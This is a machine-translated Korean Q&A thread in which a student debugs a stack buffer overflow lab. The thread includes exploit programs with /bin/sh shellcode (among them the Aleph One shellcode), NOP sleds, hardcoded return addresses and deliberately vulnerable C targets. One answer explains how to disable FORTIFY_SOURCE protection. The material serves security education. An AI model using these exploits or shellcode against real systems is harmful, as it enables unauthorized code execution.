2013-02-13 7 views
5

그럼에도 불구하고, 나는이 응용 프로그램의 취약점을 악용하기 위해 노력하고있어 보안 수준이 버퍼 오버 플로우 물건을 학습 : 들어버퍼 오버 플로우

//exploit.c 
#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 

const char code[] = 
"\x31\xc0" 
"\x50" 
"\x68""//sh" 
"\x68""/bin" 
"\x89\xe3" 
"\x50" 
"\x53" 
"\x89\xe1" 
"\x99" 
"\xb0\x0b" 
"\xcd\x80" 
; 


int main(int argc, char* argv[]) 
{ 
    char buffer[517]; 
    char large_string[512]; 
    FILE *badfile; 
     badfile = fopen("./badfile", "w"); 

    //NOPslide 
    memset(&buffer,0x90,517); 

    //BEGIN FILL BUFFER 
     //from stack_smashing.pdf 
    long *long_ptr = (long *) large_string; 

    int i; 
    for (i = 0; i < 128; i++) 
     *(long_ptr + i) = (int) buffer; 

    for (i = 100; i < strlen(code)+100; i++) 
     large_string[i] = code[i]; 

    strcpy(buffer,large_string); 
    //END FILL BUFFER 

    //save buffer to badfile 
    fwrite(buffer,517,1,badfile); 
    fclose(badfile); 

    return 0; 
} 

:이 응용 프로그램을 이용하여

//vuln.c 
#include <stdio.h> 

int bof(char *str) 
{ 
    char buffer[12]; 

    //BO Vulnerability 
    strcpy(buffer,str); 

    return 1; 
} 

int main(int argc, char* argv[]) 
{ 
    char str[517]; 

    FILE *badfile; 
     badfile = fopen("badfile","r"); 

    fread(str, sizeof(char),517, badfile); 
    bof(str); 

    printf("Returned Properly\n"); 
    return 1; 
} 

을 어떤 이유로, 익스플로잇을 실행하여 badfile을 생성 할 때, 아무 것도 푸시하지 않습니다. 버퍼가 비어 있거나 제대로 기록되지 않습니다. 나는 내 실수를 찾지 못하고, 끊임없이 Google 검색을 한 후에도 충분한 대답을 찾을 수 없었다. 필자가 사용한 채우기 버퍼 코드에 대한 나의 이해에서, 이것은 내 버퍼의 주소로 long_string을 채워야하고, long_string (NOOP 슬라이드의 비트 이후)의 시작 부분에 쉘 코드를 넣은 다음 long_string을 다시 버퍼에 복사해야합니다. 나는 이것이나 fwrite와 관련하여 어떤 문제도 실제로 볼 수 없다. 제안?

+2

코드 또는 게시물에 'badfile - fopen ("badfile", "r")'오타가 있습니까? – ughoavgfhw

+0

'sizeof (long) == 4 '(즉, 32 비트 프로그램)라고 가정하면 코드는 그대로 작동해야합니다. –

+2

sizeof (long)> 4로 가정하면 코드 자체에 버퍼 오버플로가 있습니다. – Sebastian

답변

0

글쎄, 스택을 실제로 스매싱하는 것을 이해해야합니다. 이것은 기본적으로 많은 값을 깨고 기본적으로 스택의 리턴 포인터 주소 인 특정 주소를 덮어 씁니다 ($ebp + 4). 스택을 분쇄하려하고 있지만 쉘 코드를 가리키는 다른 주소로 대체해야하는 주소를 정확히 이해하기 위해해야 ​​할 일이 많이 있습니다.

http://www.phrack.com/issues.html?issue=49&id=14

현재 당신은 그 두 가지 중 하나의 작업이 없습니다.

실제 취약한 코드의 어셈블리 코드를 살펴보고 반송 주소를 보려면 gdb를 사용하거나 다른 도구를 사용해야합니다. 이를 기반으로 명령 줄을 사용하여 스택을 손상 시키려고합니다.

그런 다음 스택을 스매싱하지 않고 익스플로잇 코드를 실행합니다. 쉘 코드를 심는 장소를 가리켜 야하는 실제 반송 주소를 캡처하십시오.

스택을 스매싱한다는 개념을 실제로 이해하려면 phrack에서 읽어야합니다. 희망이 도움이됩니다!

+0

나는 그 중 대부분을 읽었으며, 그것은 for 루프를 끌어 와서 내 버퍼를 채우는 곳입니다. 나는 돌아가서 그 페이지에서 overflow2.c와 overflow3.c를 완성했다. overflow3.c에서 코드를 변경하여 문제를 해결해야한다고 생각합니다. 좋은 생각입니까? –

+0

그렇게 할 수 있습니다. 그러나이 아이디어는 함수를 strcpy 또는 다른 취약한 함수에서 반환 할 때 반환 주소를 변경하는 방식으로 코드를 디자인하고 스택을 손상시키는 것입니다. 하지만 당신이 이걸 해독 할 수있을 것 같습니다. – p0lAris

+0

그러나 생각한 답을 표시하면 해결할 수 있습니다. 행운을 빕니다. – p0lAris

0

코드에서 누락 된 중요한 사항 중 하나가 있습니다. 나는 당신 자신을 찾을 수 있도록 하겠지만, 나는 아마 내가 시간을 조금 쓴 아주 간단한 버퍼 오버 플로우 문제를 보면서 당신을 도울 것이다.

버퍼 오버 플로우가 쉬운 취약점이있는 것으로 간주하십시오.

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 

int foo(char *arg) 
{ 
    char buf[200]; 
    strcpy(buf, arg); 
} 

int main(int argc, char *argv[]) 
{ 
    if (argc != 2) 
    { 
     fprintf(stderr, "target1: argc != 2\n"); 
     exit(EXIT_FAILURE); 
    } 
    foo(argv[1]); 
    return 0; 
} 

익스플로잇 코드는 다음과 같은 :

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
#include <unistd.h> 
#include "shellcode.h" 

#define TARGET "/tmp/target1" 

int main(void) 
{ 
    char arg1[215] = ""; 
    memset(arg1,'\x90', 215); 
    memcpy(arg1,shellcode,45); 

    //0xbffffd78 
    //0xbffffcb8 

    arg1[212] = '\x88'; 
    arg1[213] = '\xfc'; 
    arg1[214] = '\xff'; 
    arg1[215] = '\xbf'; 
    char *args[] = { TARGET, arg1, NULL }; 
    char *env[] = { NULL }; 

    if (0 > execve(TARGET, args, env)) 
     fprintf(stderr, "execve failed.\n"); 

    return 0; 
} 

은 내 목표를 정의하고 사용하는 방법을 참조하십시오.

또한 이전에는 쉘 코드를 보았습니다. 나는 다음 중 하나를 사용합니다 :

/* 
* Aleph One shellcode. 
*/ 
static char shellcode[] = 
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" 
    "\x80\xe8\xdc\xff\xff\xff/bin/sh"; 

코드를 검사하여 문제가 없는지 알려주십시오.

ALSO

이 작성

strcpy(buffer,large_string); 

나쁜 관행은 표준 입력에서 large_string을 수락하거나하지 않을 경우 어떤 문제이다.

+0

arg1 [215] = '\ xbf'; 이 버퍼 오버플로 생각하지 말아주세요 (char arg1 [215] = "";) – Anshul

+0

왜 그렇게 생각하니? – p0lAris

+0

셸 코드는 [여기] (http://www.cis.syr.edu/~wedu/seed/Labs/Vulnerability/Buffer_Overflow/Buffer_Overflow.pdf)에서 볼 수있는 저의 임무에서 비롯된 것입니다. 나는 제안 된 쉘 코드를 사용하여 동일한 결과를 얻었다. 나는 현재 당신이 exploit.c에서보고 싶어하는 것을보기 위해 노력하고 있습니다. 그러나 나는 그것을보고 있다고 생각하지 않습니다. /tmp/target1을 사용하는 것을 이해하지 못합니다./bin/sh가되어서는 안됩니까? 미안하지만이 모든 것은 여전히 ​​나에게는 매우 새롭고 교수님/TA는 사물을 설명하는 데 최선이 아닙니다. –

0
strcpy(buffer,large_string); 
당신이 테스트 중에 해결해야 할 일들의

하나는이 함수 호출이다.

FORTIFY_SOURCE는 memcpystrcpy과 같이 위험도가 높은 기능의 "안전한"변종을 사용합니다. 컴파일러는 대상 버퍼 크기를 추론 할 수있는 경우보다 안전한 변형을 사용합니다. 복사본이 대상 버퍼 크기를 초과하면 프로그램은 abort()을 호출합니다.

테스트를 위해 FORTIFY_SOURCE를 사용하지 않으려면 -U_FORTIFY_SOURCE 또는 -D_FORTIFY_SOURCE=0으로 프로그램을 컴파일해야합니다.